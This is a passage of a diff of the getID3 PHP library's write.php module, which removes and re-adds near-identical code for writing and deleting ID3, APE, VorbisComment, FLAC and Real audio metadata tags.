($this->remove_other_tags) { - $this->DeleteTags($TagFormatsToRemove); - } - - // Write data for each tag format - foreach ($this->tagformats as $tagformat) { - $success = false; // overridden if tag writing is successful - switch ($tagformat) { - case 'ape': - $ape_writer = new getid3_write_apetag; - if ($ape_writer->tag_data = $this->FormatDataForAPE()) { - $ape_writer->filename = $this->filename; - if (($success = $ape_writer->WriteAPEtag()) === false) { - $this->errors[] = 'WriteAPEtag() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $ape_writer->errors)))).'
                              '; - } - } else { - $this->errors[] = 'FormatDataForAPE() failed'; - } - break; - - case 'id3v1': - $id3v1_writer = new getid3_write_id3v1; - if ($id3v1_writer->tag_data = $this->FormatDataForID3v1()) { - $id3v1_writer->filename = $this->filename; - if (($success = $id3v1_writer->WriteID3v1()) === false) { - $this->errors[] = 'WriteID3v1() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $id3v1_writer->errors)))).'
                              '; - } - } else { - $this->errors[] = 'FormatDataForID3v1() failed'; - } - break; - - case 'id3v2.2': - case 'id3v2.3': - case 'id3v2.4': - $id3v2_writer = new getid3_write_id3v2; - $id3v2_writer->majorversion = intval(substr($tagformat, -1)); - $id3v2_writer->paddedlength = $this->id3v2_paddedlength; - $id3v2_writer_tag_data = $this->FormatDataForID3v2($id3v2_writer->majorversion); - if ($id3v2_writer_tag_data !== false) { - $id3v2_writer->tag_data = $id3v2_writer_tag_data; - unset($id3v2_writer_tag_data); - $id3v2_writer->filename = $this->filename; - if (($success = $id3v2_writer->WriteID3v2()) === false) { - $this->errors[] = 'WriteID3v2() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $id3v2_writer->errors)))).'
                              '; - } - } else { - $this->errors[] = 'FormatDataForID3v2() failed'; - } - break; - - case 'vorbiscomment': - $vorbiscomment_writer = new getid3_write_vorbiscomment; - if ($vorbiscomment_writer->tag_data = $this->FormatDataForVorbisComment()) { - $vorbiscomment_writer->filename = $this->filename; - if (($success = $vorbiscomment_writer->WriteVorbisComment()) === false) { - $this->errors[] = 'WriteVorbisComment() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $vorbiscomment_writer->errors)))).'
                              '; - } - } else { - $this->errors[] = 'FormatDataForVorbisComment() failed'; - } - break; - - case 'metaflac': - $metaflac_writer = new getid3_write_metaflac; - if ($metaflac_writer->tag_data = $this->FormatDataForMetaFLAC()) { - $metaflac_writer->filename = $this->filename; - if (($success = $metaflac_writer->WriteMetaFLAC()) === false) { - $this->errors[] = 'WriteMetaFLAC() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $metaflac_writer->errors)))).'
                              '; - } - } else { - $this->errors[] = 'FormatDataForMetaFLAC() failed'; - } - break; - - case 'real': - $real_writer = new getid3_write_real; - if ($real_writer->tag_data = $this->FormatDataForReal()) { - $real_writer->filename = $this->filename; - if (($success = $real_writer->WriteReal()) === false) { - $this->errors[] = 'WriteReal() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $real_writer->errors)))).'
                              '; - } - } else { - $this->errors[] = 'FormatDataForReal() failed'; - } - break; - - default: - $this->errors[] = 'Invalid tag format to write: "'.$tagformat.'"'; - return false; - } - if (!$success) { - return false; - } - } - return true; - - } - - /** - * @param string[] $TagFormatsToDelete - * - * @return bool - */ - public function DeleteTags($TagFormatsToDelete) { - foreach ($TagFormatsToDelete as $DeleteTagFormat) { - $success = false; // overridden if tag deletion is successful - switch ($DeleteTagFormat) { - case 'id3v1': - $id3v1_writer = new getid3_write_id3v1; - $id3v1_writer->filename = $this->filename; - if (($success = $id3v1_writer->RemoveID3v1()) === false) { - $this->errors[] = 'RemoveID3v1() failed with message(s):
                              • '.trim(implode('
                              • ', $id3v1_writer->errors)).'
                              '; - } - break; - - case 'id3v2': - $id3v2_writer = new getid3_write_id3v2; - $id3v2_writer->filename = $this->filename; - if (($success = $id3v2_writer->RemoveID3v2()) === false) { - $this->errors[] = 'RemoveID3v2() failed with message(s):
                              • '.trim(implode('
                              • ', $id3v2_writer->errors)).'
                              '; - } - break; - - case 'ape': - $ape_writer = new getid3_write_apetag; - $ape_writer->filename = $this->filename; - if (($success = $ape_writer->DeleteAPEtag()) === false) { - $this->errors[] = 'DeleteAPEtag() failed with message(s):
                              • '.trim(implode('
                              • ', $ape_writer->errors)).'
                              '; - } - break; - - case 'vorbiscomment': - $vorbiscomment_writer = new getid3_write_vorbiscomment; - $vorbiscomment_writer->filename = $this->filename; - if (($success = $vorbiscomment_writer->DeleteVorbisComment()) === false) { - $this->errors[] = 'DeleteVorbisComment() failed with message(s):
                              • '.trim(implode('
                              • ', $vorbiscomment_writer->errors)).'
                              '; - } - break; - - case 'metaflac': - $metaflac_writer = new getid3_write_metaflac; - $metaflac_writer->filename = $this->filename; - if (($success = $metaflac_writer->DeleteMetaFLAC()) === false) { - $this->errors[] = 'DeleteMetaFLAC() failed with message(s):
                              • '.trim(implode('
                              • ', $metaflac_writer->errors)).'
                              '; - } - break; - - case 'lyrics3': - $lyrics3_writer = new getid3_write_lyrics3; - $lyrics3_writer->filename = $this->filename; - if (($success = $lyrics3_writer->DeleteLyrics3()) === false) { - $this->errors[] = 'DeleteLyrics3() failed with message(s):
                              • '.trim(implode('
                              • ', $lyrics3_writer->errors)).'
                              '; - } - break; - - case 'real': - $real_writer = new getid3_write_real; - $real_writer->filename = $this->filename; - if (($success = $real_writer->RemoveReal()) === false) { - $this->errors[] = 'RemoveReal() failed with message(s):
                              • '.trim(implode('
                              • ', $real_writer->errors)).'
                              '; - } - break; - - default: - $this->errors[] = 'Invalid tag format to delete: "'.$DeleteTagFormat.'"'; - return false; - } - if (!$success) { - return false; - } - } - return true; - } - - /** - * @param string $TagFormat - * @param array $tag_data - * - * @return bool - * @throws Exception - */ - public function MergeExistingTagData($TagFormat, &$tag_data) { - // Merge supplied data with existing data, if requested - if ($this->overwrite_tags) { - // do nothing - ignore previous data - } else { - throw new Exception('$this->overwrite_tags=false is known to be buggy in this version of getID3. Check http://github.com/JamesHeinrich/getID3 for a newer version.'); -// if (!isset($this->ThisFileInfo['tags'][$TagFormat])) { -// return false; -// } -// $tag_data = array_merge_recursive($tag_data, $this->ThisFileInfo['tags'][$TagFormat]); - } - return true; - } - - /** - * @return array - */ - public function FormatDataForAPE() { - $ape_tag_data = array(); - foreach ($this->tag_data as $tag_key => $valuearray) { - switch ($tag_key) { - case 'ATTACHED_PICTURE': - // ATTACHED_PICTURE is ID3v2 only - ignore - $this->warnings[] = '$data['.$tag_key.'] is assumed to be ID3v2 APIC data - NOT written to APE tag'; - break; - - default: - foreach ($valuearray as $key => $value) { - if (is_string($value) || is_numeric($value)) { - $ape_tag_data[$tag_key][$key] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $value); - } else { - $this->warnings[] = '$data['.$tag_key.']['.$key.'] is not a string value - all of $data['.$tag_key.'] NOT written to APE tag'; - unset($ape_tag_data[$tag_key]); - break; - } - } - break; - } - } - $this->MergeExistingTagData('ape', $ape_tag_data); - return $ape_tag_data; - } - - /** - * @return array - */ - public function FormatDataForID3v1() { - $tag_data_id3v1 = array(); - $tag_data_id3v1['genreid'] = 255; - if (!empty($this->tag_data['GENRE'])) { - foreach ($this->tag_data['GENRE'] as $key => $value) { - if (getid3_id3v1::LookupGenreID($value) !== false) { - $tag_data_id3v1['genreid'] = getid3_id3v1::LookupGenreID($value); - break; - } - } - } - $tag_data_id3v1['title'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['TITLE'] ) ? $this->tag_data['TITLE'] : array()))); - $tag_data_id3v1['artist'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['ARTIST'] ) ? $this->tag_data['ARTIST'] : array()))); - $tag_data_id3v1['album'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['ALBUM'] ) ? $this->tag_data['ALBUM'] : array()))); - $tag_data_id3v1['year'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['YEAR'] ) ? $this->tag_data['YEAR'] : array()))); - $tag_data_id3v1['comment'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['COMMENT'] ) ? $this->tag_data['COMMENT'] : array()))); - $tag_data_id3v1['track_number'] = intval(getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['TRACK_NUMBER']) ? $this->tag_data['TRACK_NUMBER'] : array())))); - if ($tag_data_id3v1['track_number'] <= 0) { - $tag_data_id3v1['track_number'] = ''; - } - - $this->MergeExistingTagData('id3v1', $tag_data_id3v1); - return $tag_data_id3v1; - } - - /** - * @param int $id3v2_majorversion - * - * @return array|false - */ - public function FormatDataForID3v2($id3v2_majorversion) { - $tag_data_id3v2 = array(); - - $ID3v2_text_encoding_lookup = array(); - $ID3v2_text_encoding_lookup[2] = array('ISO-8859-1'=>0, 'UTF-16'=>1); - $ID3v2_text_encoding_lookup[3] = array('ISO-8859-1'=>0, 'UTF-16'=>1); - $ID3v2_text_encoding_lookup[4] = array('ISO-8859-1'=>0, 'UTF-16'=>1, 'UTF-16BE'=>2, 'UTF-8'=>3); - foreach ($this->tag_data as $tag_key => $valuearray) { - $ID3v2_framename = getid3_write_id3v2::ID3v2ShortFrameNameLookup($id3v2_majorversion, $tag_key); - switch ($ID3v2_framename) { - case 'APIC': - foreach ($valuearray as $key => $apic_data_array) { - if (isset($apic_data_array['data']) && - isset($apic_data_array['picturetypeid']) && - isset($apic_data_array['description']) && - isset($apic_data_array['mime'])) { - $tag_data_id3v2['APIC'][] = $apic_data_array; - } else { - $this->errors[] = 'ID3v2 APIC data is not properly structured'; - return false; - } - } - break; - - case 'POPM': - if (isset($valuearray['email']) && - isset($valuearray['rating']) && - isset($valuearray['data'])) { - $tag_data_id3v2['POPM'][] = $valuearray; - } else { - $this->errors[] = 'ID3v2 POPM data is not properly structured'; - return false; - } - break; - - case 'GRID': - if ( - isset($valuearray['groupsymbol']) && - isset($valuearray['ownerid']) && - isset($valuearray['data']) - ) { - $tag_data_id3v2['GRID'][] = $valuearray; - } else { - $this->errors[] = 'ID3v2 GRID data is not properly structured'; - return false; - } - break; - - case 'UFID': - if (isset($valuearray['ownerid']) && - isset($valuearray['data'])) { - $tag_data_id3v2['UFID'][] = $valuearray; - } else { - $this->errors[] = 'ID3v2 UFID data is not properly structured'; - return false; - } - break; - - case 'TXXX': - foreach ($valuearray as $key => $txxx_data_array) { - if (isset($txxx_data_array['description']) && isset($txxx_data_array['data'])) { - $tag_data_id3v2['TXXX'][] = $txxx_data_array; - } else { - $this->errors[] = 'ID3v2 TXXX data is not properly structured'; - return false; - } - } - break; - - case '': - $this->errors[] = 'ID3v2: Skipping "'.$tag_key.'" because cannot match it to a known ID3v2 frame type'; - // some other data type, don't know how to handle it, ignore it - break; - - default: - // most other (text) frames can be copied over as-is - foreach ($valuearray as $key => $value) { - if (isset($ID3v2_text_encoding_lookup[$id3v2_majorversion][$this->tag_encoding])) { - // source encoding is valid in ID3v2 - use it with no conversion - $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = $ID3v2_text_encoding_lookup[$id3v2_majorversion][$this->tag_encoding]; - $tag_data_id3v2[$ID3v2_framename][$key]['data'] = $value; - } else { - // source encoding is NOT valid in ID3v2 - convert it to an ID3v2-valid encoding first - if ($id3v2_majorversion < 4) { - // convert data from other encoding to UTF-16 (with BOM) - // note: some software, notably Windows Media Player and iTunes are broken and treat files tagged with UTF-16BE (with BOM) as corrupt - // therefore we force data to UTF-16LE and manually prepend the BOM - $ID3v2_tag_data_converted = false; - if (/*!$ID3v2_tag_data_converted && */($this->tag_encoding == 'ISO-8859-1')) { - // great, leave data as-is for minimum compatability problems - $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 0; - $tag_data_id3v2[$ID3v2_framename][$key]['data'] = $value; - $ID3v2_tag_data_converted = true; - } - if (!$ID3v2_tag_data_converted && ($this->tag_encoding == 'UTF-8')) { - do { - // if UTF-8 string does not include any characters above chr(127) then it is identical to ISO-8859-1 - $value = (string) $value; // prevent warnings/errors if $value is a non-string (e.g. integer,float) - for ($i = 0; $i < strlen($value); $i++) { - if (ord($value[$i]) > 127) { - break 2; - } - } - $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 0; - $tag_data_id3v2[$ID3v2_framename][$key]['data'] = $value; - $ID3v2_tag_data_converted = true; - } while (false); - } - if (!$ID3v2_tag_data_converted) { - $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 1; - //$tag_data_id3v2[$ID3v2_framename][$key]['data'] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-16', $value); // output is UTF-16LE+BOM or UTF-16BE+BOM depending on system architecture - $tag_data_id3v2[$ID3v2_framename][$key]['data'] = "\xFF\xFE".getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-16LE', $value); // force LittleEndian order version of UTF-16 - $ID3v2_tag_data_converted = true; - } - - } else { - // convert data from other encoding to UTF-8 - $tag_data_id3v2[$ID3v2_framename][$key]['encodingid'] = 3; - $tag_data_id3v2[$ID3v2_framename][$key]['data'] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $value); - } - } - - // These values are not needed for all frame types, but if they're not used no matter - $tag_data_id3v2[$ID3v2_framename][$key]['description'] = ''; - $tag_data_id3v2[$ID3v2_framename][$key]['language'] = $this->id3v2_tag_language; - } - break; - } - } - $this->MergeExistingTagData('id3v2', $tag_data_id3v2); - return $tag_data_id3v2; - } - - /** - * @return array - */ - public function FormatDataForVorbisComment() { - $tag_data_vorbiscomment = $this->tag_data; - - // check for multi-line comment values - split out to multiple comments if neccesary - // and convert data to UTF-8 strings - foreach ($tag_data_vorbiscomment as $tag_key => $valuearray) { - foreach ($valuearray as $key => $value) { - if (($tag_key == 'ATTACHED_PICTURE') && is_array($value)) { - continue; // handled separately in write.metaflac.php - } else { - str_replace("\r", "\n", $value); - if (strstr($value, "\n")) { - unset($tag_data_vorbiscomment[$tag_key][$key]); - $multilineexploded = explode("\n", $value); - foreach ($multilineexploded as $newcomment) { - if (strlen(trim($newcomment)) > 0) { - $tag_data_vorbiscomment[$tag_key][] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $newcomment); - } - } - } elseif (is_string($value) || is_numeric($value)) { - $tag_data_vorbiscomment[$tag_key][$key] = getid3_lib::iconv_fallback($this->tag_encoding, 'UTF-8', $value); - } else { - $this->warnings[] = '$data['.$tag_key.']['.$key.'] is not a string value - all of $data['.$tag_key.'] NOT written to VorbisComment tag'; - unset($tag_data_vorbiscomment[$tag_key]); - break; - } - } - } - } - $this->MergeExistingTagData('vorbiscomment', $tag_data_vorbiscomment); - return $tag_data_vorbiscomment; - } - - /** - * @return array - */ - public function FormatDataForMetaFLAC() { - // FLAC & OggFLAC use VorbisComments same as OggVorbis - // but require metaflac to do the writing rather than vorbiscomment - return $this->FormatDataForVorbisComment(); - } - - /** - * @return array - */ - public function FormatDataForReal() { - $tag_data_real = array(); - $tag_data_real['title'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['TITLE'] ) ? $this->tag_data['TITLE'] : array()))); - $tag_data_real['artist'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['ARTIST'] ) ? $this->tag_data['ARTIST'] : array()))); - $tag_data_real['copyright'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['COPYRIGHT']) ? $this->tag_data['COPYRIGHT'] : array()))); - $tag_data_real['comment'] = getid3_lib::iconv_fallback($this->tag_encoding, 'ISO-8859-1', implode(' ', (isset($this->tag_data['COMMENT'] ) ? $this->tag_data['COMMENT'] : array()))); - - $this->MergeExistingTagData('real', $tag_data_real); - return $tag_data_real; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +/// // +// write.php // +// module for writing tags (APEv2, ID3v1, ID3v2) // +// dependencies: getid3.lib.php // +// write.apetag.php (optional) // +// write.id3v1.php (optional) // +// write.id3v2.php (optional) // +// write.vorbiscomment.php (optional) // +// write.metaflac.php (optional) // +// write.lyrics3.php (optional) // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { + throw new Exception('getid3.php MUST be included before calling getid3_writetags'); +} +if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) { + throw new Exception('write.php depends on getid3.lib.php, which is missing.'); +} + +/** + * NOTES: + * + * You should pass data here with standard field names as follows: + * * TITLE + * * ARTIST + * * ALBUM + * * TRACKNUMBER + * * COMMENT + * * GENRE + * * YEAR + * * ATTACHED_PICTURE (ID3v2 only) + * The APEv2 Tag Items Keys definition says "TRACK" is correct but foobar2000 uses "TRACKNUMBER" instead + * Pass data here as "TRACKNUMBER" for compatability with all formats + * + * @link http://www.personal.uni-jena.de/~pfk/mpp/sv8/apekey.html + */ +class getid3_writetags +{ + /** + * Absolute filename of file to write tags to. + * + * @var string + */ + public $filename; + + /** + * Array of tag formats to write ('id3v1', 'id3v2.2', 'id2v2.3', 'id3v2.4', 'ape', 'vorbiscomment', + * 'metaflac', 'real'). + * + * @var array + */ + public $tagformats = array(); + + /** + * 2-dimensional array of tag data (ex: $data['ARTIST'][0] = 'Elvis'). + * + * @var array + */ + public $tag_data = array(array()); + + /** + * Text encoding used for tag data ('ISO-8859-1', 'UTF-8', 'UTF-16', 'UTF-16LE', 'UTF-16BE', ). + * + * @var string + */ + public $tag_encoding = 'ISO-8859-1'; + + /** + * If true will erase existing tag data and write only passed data; if false will merge passed data + * with existing tag data. + * + * @var bool + */ + public $overwrite_tags = true; + + /** + * If true will erase remove all existing tags and only write those passed in $tagformats; + * If false will ignore any tags not mentioned in $tagformats. + * + * @var bool + */ + public $remove_other_tags = false; + + /** + * ISO-639-2 3-character language code needed for some ID3v2 frames. + * + * @link http://www.id3.org/iso639-2.html + * + * @var string + */ + public $id3v2_tag_language = 'eng'; + + /** + * Minimum length of ID3v2 tags (will be padded to this length if tag data is shorter). + * + * @var int + */ + public $id3v2_paddedlength = 4096; + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + /** + * Analysis of file before writing. + * + * @var array + */ + private $ThisFileInfo; + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteTags() { + + if (empty($this->filename)) { + $this->errors[] = 'filename is undefined in getid3_writetags'; + return false; + } elseif (!file_exists($this->filename)) { + $this->errors[] = 'filename set to non-existant file "'.$this->filename.'" in getid3_writetags'; + return false; + } + + if (!is_array($this->tagformats)) { + $this->errors[] = 'tagformats must be an array in getid3_writetags'; + return false; + } + // prevent duplicate tag formats + $this->tagformats = array_unique($this->tagformats); + + // prevent trying to specify more than one version of ID3v2 tag to write simultaneously + $id3typecounter = 0; + foreach ($this->tagformats as $tagformat) { + if (substr(strtolower($tagformat), 0, 6) == 'id3v2.') { + $id3typecounter++; + } + } + if ($id3typecounter > 1) { + $this->errors[] = 'tagformats must not contain more than one version of ID3v2'; + return false; + } + + $TagFormatsToRemove = array(); + $AllowedTagFormats = array(); + if (filesize($this->filename) == 0) { + + // empty file special case - allow any tag format, don't check existing format + // could be useful if you want to generate tag data for a non-existant file + $this->ThisFileInfo = array('fileformat'=>''); + $AllowedTagFormats = array('id3v1', 'id3v2.2', 'id3v2.3', 'id3v2.4', 'ape', 'lyrics3'); + + } else { + + $getID3 = new getID3; + $getID3->encoding = $this->tag_encoding; + $this->ThisFileInfo = $getID3->analyze($this->filename); + + // check for what file types are allowed on this fileformat + switch (isset($this->ThisFileInfo['fileformat']) ? $this->ThisFileInfo['fileformat'] : '') { + case 'mp3': + case 'mp2': + case 'mp1': + case 'riff': // maybe not officially, but people do it anyway + $AllowedTagFormats = array('id3v1', 'id3v2.2', 'id3v2.3', 'id3v2.4', 'ape', 'lyrics3'); + break; + + case 'mpc': + $AllowedTagFormats = array('ape'); + break; + + case 'flac': + $AllowedTagFormats = array('metaflac'); + break; + + case 'real': + $AllowedTagFormats = array('real'); + break; + + case 'ogg': + switch (isset($this->ThisFileInfo['audio']['dataformat']) ? $this->ThisFileInfo['audio']['dataformat'] : '') { + case 'flac': + //$AllowedTagFormats = array('metaflac'); + $this->errors[] = 'metaflac is not (yet) compatible with OggFLAC files'; + return false; + case 'vorbis': + $AllowedTagFormats = array('vorbiscomment'); + break; + default: + $this->errors[] = 'metaflac is not (yet) compatible with Ogg files other than OggVorbis'; + return false; + } + break; + + default: + $AllowedTagFormats = array(); + break; + } + foreach ($this->tagformats as $requested_tag_format) { + if (!in_array($requested_tag_format, $AllowedTagFormats)) { + $errormessage = 'Tag format "'.$requested_tag_format.'" is not allowed on "'.(isset($this->ThisFileInfo['fileformat']) ? $this->ThisFileInfo['fileformat'] : ''); + $errormessage .= (isset($this->ThisFileInfo['audio']['dataformat']) ? '.'.$this->ThisFileInfo['audio']['dataformat'] : ''); + $errormessage .= '" files'; + $this->errors[] = $errormessage; + return false; + } + } + + // List of other tag formats, removed if requested + if ($this->remove_other_tags) { + foreach ($AllowedTagFormats as $AllowedTagFormat) { + switch ($AllowedTagFormat) { + case 'id3v2.2': + case 'id3v2.3': + case 'id3v2.4': + if (!in_array('id3v2', $TagFormatsToRemove) && !in_array('id3v2.2', $this->tagformats) && !in_array('id3v2.3', $this->tagformats) && !in_array('id3v2.4', $this->tagformats)) { + $TagFormatsToRemove[] = 'id3v2'; + } + break; + + default: + if (!in_array($AllowedTagFormat, $this->tagformats)) { + $TagFormatsToRemove[] = $AllowedTagFormat; + } + break; + } + } + } + } + + $WritingFilesToInclude = array_merge($this->tagformats, $TagFormatsToRemove); + + // Check for required include files and include them + foreach ($WritingFilesToInclude as $tagformat) { + switch ($tagformat) { + case 'ape': + $GETID3_ERRORARRAY = &$this->errors; + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'write.apetag.php', __FILE__, true); + break; + + case 'id3v1': + case 'lyrics3': + case 'vorbiscomment': + case 'metaflac': + case 'real': + $GETID3_ERRORARRAY = &$this->errors; + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'write.'.$tagformat.'.php', __FILE__, true); + break; + + case 'id3v2.2': + case 'id3v2.3': + case 'id3v2.4': + case 'id3v2': + $GETID3_ERRORARRAY = &$this->errors; + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'write.id3v2.php', __FILE__, true); + break; + + default: + $this->errors[] = 'unknown tag format "'.$tagformat.'" in $tagformats in WriteTags()'; + return false; + } + + } + + // Validation of supplied data + if (!is_array($this->tag_data)) { + $this->errors[] = '$this->tag_data is not an array in WriteTags()'; + return false; + } + // convert supplied data array keys to upper case, if they're not already + foreach ($this->tag_data as $tag_key => $tag_array) { + if (strtoupper($tag_key) !== $tag_key) { + $this->tag_data[strtoupper($tag_key)] = $this->tag_data[$tag_key]; + unset($this->tag_data[$tag_key]); + } + } + // convert source data array keys to upper case, if they're not already + if (!empty($this->ThisFileInfo['tags'])) { + foreach ($this->ThisFileInfo['tags'] as $tag_format => $tag_data_array) { + foreach ($tag_data_array as $tag_key => $tag_array) { + if (strtoupper($tag_key) !== $tag_key) { + $this->ThisFileInfo['tags'][$tag_format][strtoupper($tag_key)] = $this->ThisFileInfo['tags'][$tag_format][$tag_key]; + unset($this->ThisFileInfo['tags'][$tag_format][$tag_key]); + } + } + } + } + + // Convert "TRACK" to "TRACK_NUMBER" (if needed) for compatability with all formats + if (isset($this->tag_data['TRACK']) && !isset($this->tag_data['TRACK_NUMBER'])) { + $this->tag_data['TRACK_NUMBER'] = $this->tag_data['TRACK']; + unset($this->tag_data['TRACK']); + } + + // Remove all other tag formats, if requested + if ($this->remove_other_tags) { + $this->DeleteTags($TagFormatsToRemove); + } + + // Write data for each tag format + foreach ($this->tagformats as $tagformat) { + $success = false; // overridden if tag writing is successful + switch ($tagformat) { + case 'ape': + $ape_writer = new getid3_write_apetag; + if ($ape_writer->tag_data = $this->FormatDataForAPE()) { + $ape_writer->filename = $this->filename; + if (($success = $ape_writer->WriteAPEtag()) === false) { + $this->errors[] = 'WriteAPEtag() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $ape_writer->errors)))).'
                              '; + } + } else { + $this->errors[] = 'FormatDataForAPE() failed'; + } + break; + + case 'id3v1': + $id3v1_writer = new getid3_write_id3v1; + if ($id3v1_writer->tag_data = $this->FormatDataForID3v1()) { + $id3v1_writer->filename = $this->filename; + if (($success = $id3v1_writer->WriteID3v1()) === false) { + $this->errors[] = 'WriteID3v1() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $id3v1_writer->errors)))).'
                              '; + } + } else { + $this->errors[] = 'FormatDataForID3v1() failed'; + } + break; + + case 'id3v2.2': + case 'id3v2.3': + case 'id3v2.4': + $id3v2_writer = new getid3_write_id3v2; + $id3v2_writer->majorversion = intval(substr($tagformat, -1)); + $id3v2_writer->paddedlength = $this->id3v2_paddedlength; + $id3v2_writer_tag_data = $this->FormatDataForID3v2($id3v2_writer->majorversion); + if ($id3v2_writer_tag_data !== false) { + $id3v2_writer->tag_data = $id3v2_writer_tag_data; + unset($id3v2_writer_tag_data); + $id3v2_writer->filename = $this->filename; + if (($success = $id3v2_writer->WriteID3v2()) === false) { + $this->errors[] = 'WriteID3v2() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $id3v2_writer->errors)))).'
                              '; + } + } else { + $this->errors[] = 'FormatDataForID3v2() failed'; + } + break; + + case 'vorbiscomment': + $vorbiscomment_writer = new getid3_write_vorbiscomment; + if ($vorbiscomment_writer->tag_data = $this->FormatDataForVorbisComment()) { + $vorbiscomment_writer->filename = $this->filename; + if (($success = $vorbiscomment_writer->WriteVorbisComment()) === false) { + $this->errors[] = 'WriteVorbisComment() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $vorbiscomment_writer->errors)))).'
                              '; + } + } else { + $this->errors[] = 'FormatDataForVorbisComment() failed'; + } + break; + + case 'metaflac': + $metaflac_writer = new getid3_write_metaflac; + if ($metaflac_writer->tag_data = $this->FormatDataForMetaFLAC()) { + $metaflac_writer->filename = $this->filename; + if (($success = $metaflac_writer->WriteMetaFLAC()) === false) { + $this->errors[] = 'WriteMetaFLAC() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $metaflac_writer->errors)))).'
                              '; + } + } else { + $this->errors[] = 'FormatDataForMetaFLAC() failed'; + } + break; + + case 'real': + $real_writer = new getid3_write_real; + if ($real_writer->tag_data = $this->FormatDataForReal()) { + $real_writer->filename = $this->filename; + if (($success = $real_writer->WriteReal()) === false) { + $this->errors[] = 'WriteReal() failed with message(s):
                              • '.str_replace("\n", '
                              • ', htmlentities(trim(implode("\n", $real_writer->errors)))).'
                              '; + } + } else { + $this->errors[] = 'FormatDataForReal() failed'; + } + break; + + default: + $this->errors[] = 'Invalid tag format to write: "'.$tagformat.'"'; + return false; + } + if (!$success) { + return false; + } + } + return true; + + } + + /** + * @param string[] $TagFormatsToDelete + * + * @return bool + */ + public function DeleteTags($TagFormatsToDelete) { + foreach ($TagFormatsToDelete as $DeleteTagFormat) { + $success = false; // overridden if tag deletion is successful + switch ($DeleteTagFormat) { + case 'id3v1': + $id3v1_writer = new getid3_write_id3v1; + $id3v1_writer->filename = $this->filename; + if (($success = $id3v1_writer->RemoveID3v1()) === false) { + $this->errors[] = 'RemoveID3v1() failed with message(s):
                              • '.trim(implode('
                              • ', $id3v1_writer->errors)).'
                              '; + } + break; + + case 'id3v2': + $id3v2_writer = new getid3_write_id3v2; + $id3v2_writer->filename = $this->filename; + if (($success = $id3v2_writer->RemoveID3v2()) === false) { + $this->errors[] = 'RemoveID3v2() failed with message(s):
                              • '.trim(implode('
                              • ', $id3v2_writer->errors)).'
                              '; + } + break; + + case 'ape': + $ape_writer = new getid3_write_apetag; + $ape_writer->filename = $this->filename; + if (($success = $ape_writer->DeleteAPEtag()) === false) { + $this->errors[] = 'DeleteAPEtag() failed with message(s):
                              • '.trim(implode('
                              • ', $ape_writer->errors)).'
                              '; + } + break; + + case 'vorbiscomment': + $vorbiscomment_writer = new getid3_write_vorbiscomment; + $vorbiscomment_writer->filename = $this->filename; + if (($success = $vorbiscomment_writer->DeleteVorbisComment()) === false) { + $this->errors[] = 'DeleteVorbisComment() failed with message(s):
                              • '.trim(implode('
                              • ', $vorbiscomment_writer->errors)).'
                              '; + } + break; + + case 'metaflac': + $metaflac_writer = new getid3_write_metaflac; + $metaflac_writer->filename = $this->filename; + if (($success = $metaflac_writer->DeleteMetaFLAC()) === false) { + $this->errors[] = 'DeleteMetaFLAC() failed with message(s):
                              • '.trim(implode('
                              • ', $metaflac_writer->errors)).'
                              '; + } + break; + + case 'lyrics3': + $lyrics3_writer = new getid3_write_lyrics3; + $lyrics3_writer->filename = $this->filename; + if (($success = $lyrics3_writer->DeleteLyrics3()) === false) { + $this->errors[] = 'DeleteLyrics3() failed with message(s):
                              • '.trim(implode('
                              • ', $lyrics3_writer->errors)).'
